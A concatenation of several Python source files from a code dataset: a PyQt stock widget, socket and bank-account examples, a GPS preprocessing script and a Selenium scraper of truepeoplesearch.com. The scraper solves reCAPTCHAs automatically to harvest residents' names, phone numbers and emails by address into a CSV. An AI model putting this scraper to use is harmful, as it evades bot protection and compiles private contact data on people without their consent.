StockSetItem(_BaseItem):\n signal_text_btn_clicked = pyqtSignal([str, str], name='text_btn_clicked')\n signal_edited = pyqtSignal([str, str, str])\n signal_deleted = pyqtSignal([str, str])\n signal_add = pyqtSignal([str, str])\n\n def __init__(self, parent=None):\n super().__init__(parent)\n\n self._edit_widget = QLineEdit(self)\n self._layout.addWidget(self._edit_widget)\n self._edit_widget.close()\n self._edit_widget.setObjectName('stock_name_edit')\n\n self.data = {}\n self._menu = QMenu(self)\n self.edit_action = QAction('edit stockset', self)\n self.delete_action = QAction('delete stockset', self)\n self.update_action = QAction('update stockset', self)\n self._menu.addAction(self.edit_action)\n self._menu.addAction(self.update_action)\n self._menu.addAction(self.delete_action)\n\n self.edit_action.triggered.connect(self.edit_mode)\n self.delete_action.triggered.connect(self.delete_stockset)\n self.update_action.triggered.connect(self.update_stockset)\n self._edit_widget.returnPressed.connect(self.update_stockset_name)\n\n @pyqtSlot()\n def on_text_btn_clicked(self):\n self.setFocus()\n if StockSetItem.set_active(self):\n self.signal_text_btn_clicked.emit(self.s, str(self.data.id))\n\n def set_stockset_item(self, stockset):\n self.data = stockset\n pflag = 'value' in self.data.to_dict()\n self.s = 'p' if pflag else 'f'\n\n self._icon_label.setObjectName('stockset_img')\n\n metrics = QFontMetrics(self._text_btn.font())\n text = metrics.elidedText(stockset.name, Qt.ElideRight,\n self._text_btn.width()-40)\n self._text_btn.setText(text)\n\n def update_stockset_name(self):\n text = self._edit_widget.text()\n if text == '':\n self._edit_widget.setPlaceholderText(u'not null')\n return\n self._edit_widget.close()\n self._text_btn.show()\n self._text_btn.setText(text)\n self.data.name = text\n if not self.data.dirty:\n print('edit')\n self.signal_edited.emit(self.s, str(self.data.id), text)\n else:\n print('adding set')\n self.signal_add.emit(self.s, str(self.data.id))\n\n def update_stockset(self, clicked=True):\n pass\n\n def delete_stockset(self):\n m = QMessageBox(QMessageBox.Warning, 'warning', \\\n 'Do you really want to delete?',\\\n QMessageBox.Yes | QMessageBox.No)\n if m.exec_() != QMessageBox.Yes:\n return False\n\n self.signal_deleted.emit(self.s, str(self.data.id))\n self.close()\n self.deleteLater()\n\n def edit_mode(self):\n stockset_name = self._text_btn.text()\n self._text_btn.close()\n self._edit_widget.show()\n self._edit_widget.setText(stockset_name)\n self._edit_widget.setFocus()\n\n def _display_mode(self):\n self._text_btn.show()\n self._edit_widget.close()\n\n def contextMenuEvent(self, event):\n self._menu.exec_(event.globalPos())\n\n def keyPressEvent(self, event):\n super().keyPressEvent(event)\n key_code = event.key()\n if key_code == Qt.Key_Escape:\n text = self._edit_widget.text()\n if text == '':\n self._edit_widget.setPlaceholderText(u'null not allowed')\n return event\n\n self._display_mode()\n\n\nif __name__ == '__main__':\n qApp = QApplication(sys.argv)\n with open('./theme/default.qss') as f:\n print('set style')\n qApp.setStyleSheet(f.read())\n user = User()\n user.add_portfolio('haha')\n q = StockItem()\n q.set_stockset_item(user.portfolios.items[0])\n q.show()\n sys.exit(qApp.exec_())\n","sub_path":"quantlab/spread_widget.py","file_name":"spread_widget.py","file_ext":"py","file_size_in_byte":11731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"131434392","text":"#!/usr/bin/python\n#-*-coding:utf-8 -*-\n# author: zhou yong xia\n# creation date: 2018-09-18\n\nimport numpy\nfrom SocketDataTransfer import SocketDataTransfer\nfrom SocketServerForReceive import SocketServerForReceive\n\n\nif __name__ == '__main__':\n strmsg = input(\"choose the role of this program as a server or a client: \\\n \\ns for server to receive a string, c for client to send a string:\")\n\n if strmsg.startswith(\"s\"):\n st = SocketDataTransfer()\n st.start_server('', 8010, SocketServerForReceive)\n\n else:\n st = SocketDataTransfer()\n st.connect_to_server('192.168.20.191', 8010)\n\n st.send_data_type('string')\n s = ''\n for i in range(2000):\n s += str(i)\n st.send_string(s)\n\n st.close()\n\n","sub_path":"transfer_string.py","file_name":"transfer_string.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"318753527","text":"from models.client import Client\r\nfrom utils.helper import format_float_str_coin\r\n\r\nclass Account:\r\n code: int = 1001\r\n\r\n def __init__(self: object, client: Client) -> None:\r\n self.__id: int = Account.code\r\n self.__client: Client = client\r\n self.__balance: float = 0.00\r\n self.__limit: float = 100.00\r\n self.__total_balance: float = self._calculate_total_balance\r\n Account.code += 1\r\n\r\n def __str__(self: object) -> str:\r\n return f'Account id: {self.id}\\nClient: {self.client.name}\\n'\\\r\n f'Total balance: {format_float_str_coin(self.total_balance)}'\r\n\r\n @property\r\n def id(self: object) -> int:\r\n return self.__id\r\n\r\n @property\r\n def client(self: object) -> Client:\r\n return self.__client\r\n\r\n @property\r\n def balance(self: object) -> float:\r\n return self.__balance\r\n\r\n @balance.setter\r\n def balance(self: object, value: float) -> None:\r\n self.__balance = value\r\n\r\n @property\r\n def limit(self: object) -> float:\r\n return self.__limit\r\n \r\n @limit.setter\r\n def limit(self: object, value: float) -> None:\r\n self.__limit = value\r\n\r\n @property\r\n def total_balance(self: object) -> float:\r\n return self.__total_balance\r\n\r\n @total_balance.setter\r\n def total_balance(self: object, value: float) -> None:\r\n self.__total_balance = value\r\n\r\n @property\r\n def _calculate_total_balance(self: object) -> float:\r\n return self.balance + self.limit\r\n\r\n def deposit(self: object, value: float) -> None:\r\n if value > 0.0:\r\n self.balance += value\r\n self.total_balance = self._calculate_total_balance\r\n print(\"Deposit made successfully.\")\r\n else:\r\n print(\"Invalid value, try again.\")\r\n\r\n def withdraw(self: object, value: float) -> None:\r\n if 0 < value <= self.total_balance:\r\n if self.balance >= value:\r\n self.balance -= value\r\n self.total_balance = self._calculate_total_balance\r\n else:\r\n remaind: float = self.balance - value\r\n self.limit += remaind\r\n self.balance = 0\r\n self.total_balance = self._calculate_total_balance\r\n print('Successful withdraw.')\r\n else:\r\n print(\"Withdraw not allowed.\")\r\n\r\n def transfer(self: object, destiny: object, value: float) -> None:\r\n if value > 0 and self.total_balance >= value:\r\n if self.balance >= value:\r\n self.balance -= value\r\n self.total_balance = self._calculate_total_balance\r\n destiny.balance += value\r\n destiny.total_balance = destiny._calculate_total_balance\r\n\r\n else:\r\n remaind: float = self.balance - value\r\n self.limit += remaind\r\n self.balance = 0\r\n self.total_balance = self._calculate_total_balance\r\n destiny.balance += value\r\n destiny.total_balance = destiny._calculate_total_balance\r\n print(\"Successful transfer.\")\r\n else:\r\n print(\"Transfer not allowed.\")","sub_path":"Bank/models/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"506177857","text":"import selenium\nfrom selenium import webdriver\nfrom selenium.webdriver import Chrome\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.keys import Keys\nfrom lxml import html\nimport csv\nimport time\nimport random\nimport json\nimport re, math\n\nfrom captcha_solver import CaptchaSolver\n\ndef parse_page(htmlstring, driver, driver1, driver2):\n \n solver = CaptchaSolver()\n \n with open(\"broward_county.csv\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n # print(\"----------------------------------------------------->\", len(csv_reader))\n for row in csv_reader:\n print(\"000---------------------------------------\", line_count)\n \n if line_count == 0:\n print(\"Read Headers\")\n line_count += 1\n\n \n else:\n \n address = row[0]\n\n data = {\n \"address\" : address,\n }\n\n if \"no-address\" in address:\n phone_data ={\n \"phone1\" : \"\",\n \"phone2\" : \"\",\n \"phone3\" : \"\",\n \"phone4\" : \"\",\n \"phone5\" : \"\",\n \"phone6\" : \"\",\n \"phone7\" : \"\",\n \"phone8\" : \"\",\n \"phone9\" : \"\",\n \"phone10\" : \"\"\n }\n \n email_data = {\n \"email1\" : \"\",\n \"email2\" : \"\",\n \"email3\" : \"\",\n \"email4\" : \"\",\n \"email5\" : \"\",\n \"email6\" : \"\",\n \"email7\" : \"\",\n \"email8\" : \"\",\n \"email9\" : \"\",\n \"email10\" : \"\",\n }\n with open(\"broward_county_ppl.csv\", \"a\", newline=\"\", encoding='utf-8') as f:\n writer = csv.writer(f)\n writer.writerow([data[\"address\"], \"\", phone_data[\"phone1\"], phone_data[\"phone2\"], phone_data[\"phone3\"], phone_data[\"phone4\"], phone_data[\"phone5\"], phone_data[\"phone6\"], phone_data[\"phone7\"], phone_data[\"phone8\"], phone_data[\"phone9\"], phone_data[\"phone10\"], email_data[\"email1\"], email_data[\"email2\"], email_data[\"email3\"], email_data[\"email4\"], email_data[\"email5\"], email_data[\"email6\"], email_data[\"email7\"], email_data[\"email8\"], email_data[\"email9\"], email_data[\"email10\"]])\n line_count += 1\n else:\n address_array = address.split(\",\")\n addressOnly = address_array[0]\n city_state = address_array[1] + \",\" + address_array[2]\n \n # state = row[2]\n # post = row[3]\n\n print(\"Line Count------------------------------\", line_count)\n print(\"Address------------------> : \", address)\n print(\"city_state---------------> : \", city_state)\n\n if \"#\" in addressOnly:\n addressOnly = addressOnly.replace(\"#\", \"%23\")\n \n default_url = \"https://www.truepeoplesearch.com/results?streetaddress={0}&citystatezip={1}\"\n base_url = \"https://www.truepeoplesearch.com/results?streetaddress={0}&citystatezip={1}&page={2}\"\n \n url = default_url.format(addressOnly, city_state)\n print(url)\n driver.get(url)\n \n try:\n recaptcha = driver.find_element_by_class_name(\"g-recaptcha\")\n recaptchaFlag = True\n except:\n recaptchaFlag = False\n if recaptchaFlag == True:\n print('Stage2')\n solver.solve_captcha_for_url(driver, driver.current_url)\n driver.find_element_by_xpath('//button').click()\n print('Stage2 done')\n # return\n # Page_Counts\n \n try:\n itemsInfo = driver.find_element_by_xpath(\"//html/body/div[2]/div/div[2]/div[3]/div[1]\").text\n totals = int((itemsInfo.split(\" \"))[0])\n page_counts = math.ceil(totals / 11)\n print(\"Total Items Accounts----------------------> : \", totals)\n try:\n recaptcha = driver.find_element_by_class_name(\"g-recaptcha\")\n recaptchaFlag = True\n except:\n recaptchaFlag = False\n \n if recaptchaFlag == True:\n print('Stage2')\n solver.solve_captcha_for_url(driver, driver.current_url)\n driver.find_element_by_xpath('//button').click()\n print('Stage2 done') \n \n ownerXpaths = driver.find_elements_by_xpath(\"//div[contains(@class, 'card-summary')]//div[@class='h4']\")\n viewButtons = driver.find_elements_by_xpath(\"//div[contains(@class, 'card-summary')]//div[contains(@class, 'align-self-center')]/a\")\n \n if totals > 3:\n for item in range(0, 3):\n ownerName = ownerXpaths[item].text\n second_url = viewButtons[item].get_attribute('href')\n print(\"OwnerName------------------->\", ownerName)\n print(\"second_url------------------->\", second_url)\n driver1.get(second_url)\n parse_owner(driver1.page_source, driver1, ownerName, data)\n else:\n for item in range(0, totals):\n ownerName = ownerXpaths[item].text\n second_url = viewButtons[item].get_attribute('href')\n print(\"OwnerName------------------->\", ownerName)\n print(\"second_url------------------->\", second_url)\n driver1.get(second_url)\n parse_owner(driver1.page_source, driver1, owerName, data)\n except:\n print(\"No Information\")\n phone_data ={\n \"phone1\" : \"\",\n \"phone2\" : \"\",\n \"phone3\" : \"\",\n \"phone4\" : \"\",\n \"phone5\" : \"\",\n \"phone6\" : \"\",\n \"phone7\" : \"\",\n \"phone8\" : \"\",\n \"phone9\" : \"\",\n \"phone10\" : \"\"\n }\n \n email_data = {\n \"email1\" : \"\",\n \"email2\" : \"\",\n \"email3\" : \"\",\n \"email4\" : \"\",\n \"email5\" : \"\",\n \"email6\" : \"\",\n \"email7\" : \"\",\n \"email8\" : \"\",\n \"email9\" : \"\",\n \"email10\" : \"\",\n }\n with open(\"broward_county_ppl.csv\", \"a\", newline=\"\", encoding='utf-8') as f:\n writer = csv.writer(f)\n writer.writerow([data[\"address\"], \"\", phone_data[\"phone1\"], phone_data[\"phone2\"], phone_data[\"phone3\"], phone_data[\"phone4\"], phone_data[\"phone5\"], phone_data[\"phone6\"], phone_data[\"phone7\"], phone_data[\"phone8\"], phone_data[\"phone9\"], phone_data[\"phone10\"], email_data[\"email1\"], email_data[\"email2\"], email_data[\"email3\"], email_data[\"email4\"], email_data[\"email5\"], email_data[\"email6\"], email_data[\"email7\"], email_data[\"email8\"], email_data[\"email9\"], email_data[\"email10\"]])\n line_count += 1\n\n\ndef parse_owner(htmlstring, driver1, ownerName, data):\n print(\"-----------------------------------------------------------------------???\")\n solver = CaptchaSolver()\n try:\n recaptcha = driver1.find_element_by_class_name(\"g-recaptcha\")\n recaptchaFlag = True\n except:\n recaptchaFlag = False\n\n if recaptchaFlag == True:\n print('Stage2')\n solver.solve_captcha_for_url(driver1, driver1.current_url)\n driver1.find_element_by_xpath('//button').click()\n print('Stage2 done')\n phone_data ={\n \"phone1\" : \"\",\n \"phone2\" : \"\",\n \"phone3\" : \"\",\n \"phone4\" : \"\",\n \"phone5\" : \"\",\n \"phone6\" : \"\",\n \"phone7\" : \"\",\n \"phone8\" : \"\",\n \"phone9\" : \"\",\n \"phone10\" : \"\"\n }\n \n email_data = {\n \"email1\" : \"\",\n \"email2\" : \"\",\n \"email3\" : \"\",\n \"email4\" : \"\",\n \"email5\" : \"\",\n \"email6\" : \"\",\n \"email7\" : \"\",\n \"email8\" : \"\",\n \"email9\" : \"\",\n \"email10\" : \"\",\n }\n with open(\"broward_county_ppl.csv\", \"a\", newline=\"\", encoding='utf-8') as f:\n writer = csv.writer(f)\n \n \n print(\"Second Parse\")\n # time.sleep(4)\n phones = re.findall(r'[(][\\d]{3}[)][ ]?[\\d]{3}-[\\d]{4}', driver1.page_source)\n \n emails = re.findall(r'[\\w\\.-]+@[\\w\\.-]+', driver1.page_source)\n \n for phone in range(1, len(phones) + 1):\n phone_data[\"phone{}\".format(phone)] = phones[phone - 1]\n \n for email in range(1, len(emails) + 1):\n if 'truepeople' not in emails[email - 1]:\n email_data[\"email{}\".format(email)] = emails[email - 1]\n \n writer.writerow([data[\"address\"], ownerName, phone_data[\"phone1\"], phone_data[\"phone2\"], phone_data[\"phone3\"], phone_data[\"phone4\"], phone_data[\"phone5\"], phone_data[\"phone6\"], phone_data[\"phone7\"], phone_data[\"phone8\"], phone_data[\"phone9\"], phone_data[\"phone10\"], email_data[\"email1\"], email_data[\"email2\"], email_data[\"email3\"], email_data[\"email4\"], email_data[\"email5\"], email_data[\"email6\"], email_data[\"email7\"], email_data[\"email8\"], email_data[\"email9\"], email_data[\"email10\"]])\n \n\n \n\noptions = webdriver.ChromeOptions()\nuseragent_argument = \"user-agent={}\".format(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\")\n# options.add_argument('--user-data-dir=C:\\\\Users\\\\YJS\\\\AppData\\\\Local\\\\Temp\\\\scoped_dir675516_23089\\\\Default')\npath = \"driver\\\\chromedriver.exe\"\n\ndriver = Chrome(executable_path=path, chrome_options=options)\ndriver1 = Chrome(executable_path=path)\ndriver2 = Chrome(executable_path=path)\n\ndriver.get(\"https://www.truepeoplesearch.com/\")\ntime.sleep(2)\n\ndriver.maximize_window()\ndriver1.maximize_window()\ndriver2.maximize_window()\ntime.sleep(2)\n\nopen('broward_county_ppl.csv', 'wb').close()\nheader = [\"Address\", \"Name\", \"phone1\", \"phone2\", \"phone3\", \"phone4\", \"phone5\", \"phone6\", \"phone7\", \"phone8\", \"phone9\", \"phone10\", \"email1\", \"email2\", \"email3\", \"email4\", \"email5\", \"email6\", \"email7\", \"email8\", \"email9\", \"email10\"]\nwith open('broward_county_ppl.csv', \"a\", newline=\"\") as f:\n csv_writer = csv.DictWriter(f, fieldnames=header, lineterminator='\\n')\n csv_writer.writeheader()\n\n\nparse_page(driver.page_source, driver, driver1, driver2)","sub_path":"truesearch_pshark.py","file_name":"truesearch_pshark.py","file_ext":"py","file_size_in_byte":12073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"615956419","text":"# data_preprocess.py \n# reads in raw gps data and write a csv ordered by timestamp \n# usage: \n# python src/data_preprocess.py 1\n\nimport os\nimport ast\nimport pandas as pd\nimport numpy as np\nimport sys\nimport time\n#import json\n#import datetime as dt\n#from datetime import datetime as dt\n#import random\n\nmanual_debug = False\n#manual_debug = True\n#if (manual_debug):\n# base_dir = '/home/craigmatthewsmith'\n# work_dir = os.path.join(base_dir, 'raceCast')\n# os.chdir(work_dir)\n# input_file = 'data/gps_tracks_0.txt'\n#output_file = 'processed_data_0.csv'\n#else:\n# work_dir = os.getcwd()\n\n\n\n#def preprocess_inputs(input_file, output_file):\ndef preprocess_inputs(n_files):\n \n print('file read begin ')\n\n # old\n # bad_ids = [3899, 103104, 144629, 144670, 160180, 166752, 168262] \n # new \n bad_ids = [3899, 22866, 22945, 41488, 66455, 103104, 129401, 140513, 144629, 144670, 160180, 166752, 168262] \n \n n_records_per_activity = 500\n #n_activities_per_file = 168000\n # 83892000\n # chokes \n n_activities_per_file = 20000\n \n #n_subset = int(168000/n_activities_per_file)+1\n\n #subset = 5\n #for subset in range(4, n_subset, 1):\n #start_count = subset*n_activities_per_file\n #end_count = start_count + n_activities_per_file\n #print (' subset %6.0f of %6.0f, start_count %6.0f, end_count %6.0f ' %(subset, n_subset, start_count, end_count))\n \n #data_all = np.full([n_activities_per_file*n_records_per_activity,4], np.nan, dtype=float)\n\n # dt_max is 17985.0 or 5.0 hours, should dt_all = dt_all/10.0, would need to cast to float\n\n max_records_per_batch = 40000000 # 24,000,000\n\n n_batch = 20 # batch 1 min for 20 minutes\n dt_max_expected = 20000.0\n dt_int = dt_max_expected/n_batch\n n = 1\n #for n in range(0, 4, 1):\n for n in range(0, n_batch, 1):\n count_all = 0\n [dt_min_n, dt_max_n] = [n*dt_int, (n+1)*dt_int]\n print(' processing n %s of %s, dt %s - %s ' %(n, n_batch, dt_min_n, dt_max_n))\n\n #output_file = 'data/gps_stream_total_activities_'+str(n_files).rjust(3,'0')+'_dt_'+str(n).rjust(2,'0')+'.csv'\n output_file = 's3a://gps-data-processed/gps_stream_total_activities_'+str(n_files).rjust(3,'0')+'_dt_'+str(n).rjust(2,'0')+'.csv'\n print(' output_file is %s ' %(output_file)) \n\n lon_all = np.full([max_records_per_batch], np.nan, dtype=float)\n lat_all = np.full([max_records_per_batch], np.nan, dtype=float)\n dt_all = np.full([max_records_per_batch], 0, dtype=int)\n id_all = np.full([max_records_per_batch], 0, dtype=int)\n hr_all = np.full([max_records_per_batch], 0, dtype=int)\n \n #for f in range(0, 2, 1):\n for f in range(0, n_files, 1):\n input_file = 'data/gps_tracks_subset_by_activity_'+str(f+1).rjust(3,'0')+'.txt'\n #input_file = 's3a://gps-data-processed/gps_tracks_subset_by_activity_'+str(f).rjust(3,'0')+'.txt'\n id_start = n_activities_per_file*f\n print(' processing f %s of %s, id_start %s, %s ' %(f, n_files, id_start, input_file)) \n time_start = time.time()\n print(' read data begin ')\n \n lon_file = np.full([n_activities_per_file*n_records_per_activity], np.nan, dtype=float)\n lat_file = np.full([n_activities_per_file*n_records_per_activity], np.nan, dtype=float)\n #dt_file = np.full([n_activities_per_file*n_records_per_activity], 0, dtype=int)\n dt_file = np.full([n_activities_per_file*n_records_per_activity], dt_min_n-1, dtype=int)\n #id_file = np.full([n_activities_per_file*n_records_per_activity], 0, dtype=int)\n id_file = np.full([n_activities_per_file*n_records_per_activity], id_start, dtype=int)\n hr_file = np.full([n_activities_per_file*n_records_per_activity], 0, dtype=int)\n\n line_count = 0\n count_file = 0\n \n dt_min = 100000000000\n dt_max = 0\n \n with open(input_file) as file_open:\n for line in file_open:\n id_temp = id_start + line_count+1\n #if not (id_temp == 3899): \n if not (id_temp in bad_ids):\n #if (line_count%100 == 0):\n # print (' line_count %6.0f start_count %6.0f end_count %6.0f ' %(line_count, start_count, end_count))\n # #print (' line_count %6.0f with %3.0f n_records_per_activity and offsets dt %3.0f, lon %5.2f, lat %5.2f ' %(line_count, n_records_per_activity, dt_offset_temp, lon_offset_temp, lat_offset_temp))\n line_strip = line.replace(':','').replace('{','').replace('}','') \n lon_temp = np.array(ast.literal_eval(line_strip.split('longitude')[1].split('altitude')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n lat_temp = np.array(ast.literal_eval(line_strip.split('latitude')[1].split('sport')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n dt_temp = np.array(ast.literal_eval(line_strip.split('timestamp')[1].split('url')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n hr_temp = np.array(ast.literal_eval(line_strip.split('heart_rate')[1].split('gender')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n \n lon_temp = lon_temp - lon_temp[0]\n lat_temp = lat_temp - lat_temp[0] \n dt_temp = dt_temp - dt_temp[0] \n \n #dt_max_temp = np.nanmax(dt_temp)\n #if (dt_min_temp < dt_min):\n # print('dt min max first last is %5.2f, %5.2f, %5.2f, %5.2f' %(dt_min_temp, dt_max_temp, dt_temp[0], dt_temp[-1]))\n # dt_min = dt_min_temp\n #if (dt_max_temp < dt_max):\n # print('dt min max first last is %5.2f, %5.2f, %5.2f, %5.2f' %(dt_min_temp, dt_max_temp, dt_temp[0], dt_temp[-1]))\n # dt_max = dt_max_temp\n dt_min_temp = np.nanmin(dt_temp)\n dt_max_temp = np.nanmax(dt_temp)\n #if (dt_min_temp < 0) or (dt_max_temp > 28800.0):\n # print(' dt min max first last is %8.0f, %8.0f, %8.0f, %8.0f' %(dt_min_temp, dt_max_temp, dt_temp[0], dt_temp[-1]))\n #else: \n if ((dt_min_temp >= 0) and (dt_max_temp < 28800.0)):\n #n_records_per_activity = len(lon_temp)\n #n_records_per_activity = 10\n print_progress = False\n #print_progress = True\n if (print_progress):\n if (line_count%1000 == 0):\n #print (' count %6.0f line_count %6.0f with %3.0f n_records_per_activity and offsets dt %3.0f, lon %5.2f, lat %5.2f ' %(count, line_count, n_records_per_activity, dt_offset_temp, lon_offset_temp, lat_offset_temp))\n print (' count %6.0f dt min max is %6.0f %6.0f ' %(line_count, dt_temp[0], dt_temp[-1]))\n \n id_file [(line_count*n_records_per_activity):(line_count*n_records_per_activity+n_records_per_activity)] = id_temp\n #id_file [(line_count*n_records_per_activity):(line_count*n_records_per_activity+n_records_per_activity)] = id_start + line_count+1\n dt_file [(line_count*n_records_per_activity):(line_count*n_records_per_activity+n_records_per_activity)] = dt_temp\n lon_file[(line_count*n_records_per_activity):(line_count*n_records_per_activity+n_records_per_activity)] = lon_temp\n lat_file[(line_count*n_records_per_activity):(line_count*n_records_per_activity+n_records_per_activity)] = lat_temp\n hr_file [(line_count*n_records_per_activity):(line_count*n_records_per_activity+n_records_per_activity)] = hr_temp\n line_count += 1\n\n time_end = time.time()\n process_dt = (time_end - time_start)/60.0\n # takes 10 min\n print(' read data took %5.2f minutes ' %(process_dt)) \n print(' file read end ')\n\n print(' mask arrays before')\n\n # print min and max values \n print (' dt min - max is %5.0f - %5.0f' %(np.nanmin( dt_file), np.nanmax( dt_file)))\n print (' id min - max is %5.0f - %5.0f' %(np.nanmin( id_file), np.nanmax( id_file)))\n #print (' lon min - max is %5.2f - %5.2f' %(np.nanmin(lon_file), np.nanmax(lon_file)))\n #print (' lat min - max is %5.2f - %5.2f' %(np.nanmin(lat_file), np.nanmax(lat_file)))\n #print (' hr min - max is %5.2f - %5.2f' %(np.nanmin( hr_file), np.nanmax( hr_file)))\n\n print(' mask arrays after')\n mask = ((dt_file >= dt_min_n) & (dt_file < dt_max_n))\n\n id_file = id_file[mask]\n dt_file = dt_file[mask]\n lon_file = lon_file[mask]\n lat_file = lat_file[mask]\n hr_file = hr_file[mask]\n del mask\n # print min and max values \n print (' dt min - max is %5.0f - %5.0f' %(np.nanmin( dt_file), np.nanmax( dt_file)))\n print (' id min - max is %5.0f - %5.0f' %(np.nanmin( id_file), np.nanmax( id_file)))\n #print (' lon min - max is %5.2f - %5.2f' %(np.nanmin(lon_file), np.nanmax(lon_file)))\n #print (' lat min - max is %5.2f - %5.2f' %(np.nanmin(lat_file), np.nanmax(lat_file)))\n #print (' hr min - max is %5.2f - %5.2f' %(np.nanmin( hr_file), np.nanmax( hr_file)))\n count_file = len(id_file)\n \n print(' count_all %s, count_file %s, line_count %s' %(count_all, count_file, line_count))\n\n id_all [count_all:count_all+count_file] = id_file\n lon_all[count_all:count_all+count_file] = lon_file\n lat_all[count_all:count_all+count_file] = lat_file\n dt_all [count_all:count_all+count_file] = dt_file\n hr_all [count_all:count_all+count_file] = hr_file\n\n count_all = count_all + count_file\n\n print(' done reading all files ')\n print(' truncate arrays ')\n print(' shape is %s ' %(len(lon_all)))\n \n lon_all = lon_all[0:count_all]\n lat_all = lat_all[0:count_all]\n id_all = id_all[0:count_all]\n dt_all = dt_all[0:count_all]\n hr_all = hr_all[0:count_all]\n\n print(' final shape is %s ' %(len(lon_all)))\n\n # print min and max values \n print (' final min max values ')\n print (' dt min - max is %5.0f - %5.0f' %(np.nanmin( dt_all), np.nanmax( dt_all)))\n print (' id min - max is %5.0f - %5.0f' %(np.nanmin( id_all), np.nanmax( id_all)))\n print (' lon min - max is %5.2f - %5.2f' %(np.nanmin(lon_all), np.nanmax(lon_all)))\n print (' lat min - max is %5.2f - %5.2f' %(np.nanmin(lat_all), np.nanmax(lat_all)))\n print (' hr min - max is %5.2f - %5.2f' %(np.nanmin( hr_all), np.nanmax( hr_all)))\n \n print(' sort by time start ')\n # original - sort by dt\n #index_sort = np.argsort(dt_all) \n # new - sort by id\n index_sort = np.argsort(id_all) \n data_df = pd.DataFrame(data={'dt' : dt_all [index_sort],\n 'id' : id_all [index_sort],\n 'lon': lon_all[index_sort],\n 'lat': lat_all[index_sort],\n 'hr' : hr_all [index_sort]})\n \n \n #data_df.sort_values(['id', 'dt'], ascending=[True, True], inplace=True) \n \n #data_all = np.array([dt_all[index_sort], id_all[index_sort], lon_all[index_sort], hr_all[index_sort], lat_all[index_sort]]).T\n print(' sort by time end ')\n print(' write file start ')\n data_df.to_csv(output_file) \n print(' write file end ')\n\n del id_all, lon_all, lat_all, hr_all\n \n #data_array = np.stack([dt_all, id_all, lon_all, lat_all], axis=0) # .T\n # del dt_all, id_all, lon_all, lat_all\n \n #column_str = ['dt', 'id', 'lon', 'lat', 'hr']\n #data_df = pd.DataFrame (data_array, columns=column_str)\n #data_df = pd.DataFrame (data_all.T, columns=column_str)\n #data_df = pd.DataFrame (data_all, columns=column_str)\n #del data_all\n #data_df.sort_values(by=['dt', 'user'])\n #data_df = data_df.sort_values(by=['dt', 'user'])\n #print(' sort df start ')\n #data_df = data_df.sort_values(by=['dt'])\n #print(' sort df end ')\n #processed_data_file_name = os.path.join(dir_work,'processed_data.csv')\n #processed_data_file_name = os.path.join(dir_work,'processed_data_subset_'+str(subset)+'.csv')\n #print(' processed_data_file_name is %s ' %(processed_data_file_name))\n #data_df.to_csv(processed_data_file_name) \n \n #data_df.head(40)\n\n # note csmith - here should mask out hr < 30 \n # zero out dt, lon, and lat globally\n #lon_file = lon_file - np.nanmin(lon_file)\n #lat_file = lat_file - np.nanmin(lat_file)\n #dt_file = dt_file - np.nanmin( dt_file)\n\nif __name__ == '__main__':\n n_files = int(sys.argv[1])\n #n_files = 9 \n #output_file = sys.argv[2]\n #print('using input file %s ' %(input_file))\n #print('using output file %s ' %(output_file))\n preprocess_inputs(n_files)\n\n\n# input_file_open = open(input_file,'r')\n# print('input file open')\n# file_lines = input_file_open.readlines()\n# n_lines = len(file_lines)\n# print('found %s lines' %(n_lines))\n# f = 6 \n# for f in range(0, n_lines, 1): \n# line = file_lines[f]\n# line_strip = line.replace(':','').replace('{','').replace('}','') \n# lon_temp = np.array(ast.literal_eval(line_strip.split('longitude')[1].split('altitude')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n# lat_temp = np.array(ast.literal_eval(line_strip.split('latitude')[1].split('sport')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n# dt_temp = np.array(ast.literal_eval(line_strip.split('timestamp')[1].split('url')[0].replace('],',']').replace(\"' \",'').replace(\"] '\",']')))\n# #lon_temp = np.array(lon_temp)\n# #lat_temp = np.array(lat_temp) # #dt_temp = np.array( dt_temp) \n# lon_temp = lon_temp - lon_temp[0]\n# lat_temp = lat_temp - lat_temp[0] \n# dt_temp = dt_temp - dt_temp[0] \n# lon_temp = lon_temp + lon_offset_temp\n# lat_temp = lat_temp + lat_offset_temp\n# dt_temp = dt_temp + dt_offset_temp\n\n# input_file_open.close()\n# time_end = time.time()\n# process_dt = (time_end - time_start)/60.0\n# print ('read data took %5.2f minutes ' %(process_dt))\n\n# {'longitude': [24.64977040886879, 24.65014273300767, 24.368406180292368, 24.6496663056314], \n# 'altitude': [41.6, 40.6, 40.6, 38.4], \n# 'latitude': [60.173348765820265, 60.173239801079035, 60.17298021353781, 60.17335429787636], \n# 'sport': 'bike', \n# 'id': 396826535, \n# 'heart_rate': [100, 111, 120, 119], \n# 'gender': 'male', \n# 'timestamp': [1408898746, 1408898754, 1408898765, 1408898778], \n# 'url': 'https://www.endomondo.com/users/10921915/workouts/396826535',\n# 'userId': 10921915, \n# 'speed': [6.8652, 16.4736, 19.1988, 20.4804]}\n\n","sub_path":"src/data_preprocess.py","file_name":"data_preprocess.py","file_ext":"py","file_size_in_byte":15806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"317548912","text":"import glob\nimport random\nimport os\nimport os.path as osp\nimport sys\nimport numpy as np\nsys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')\nimport cv2\nimport torch\nimport 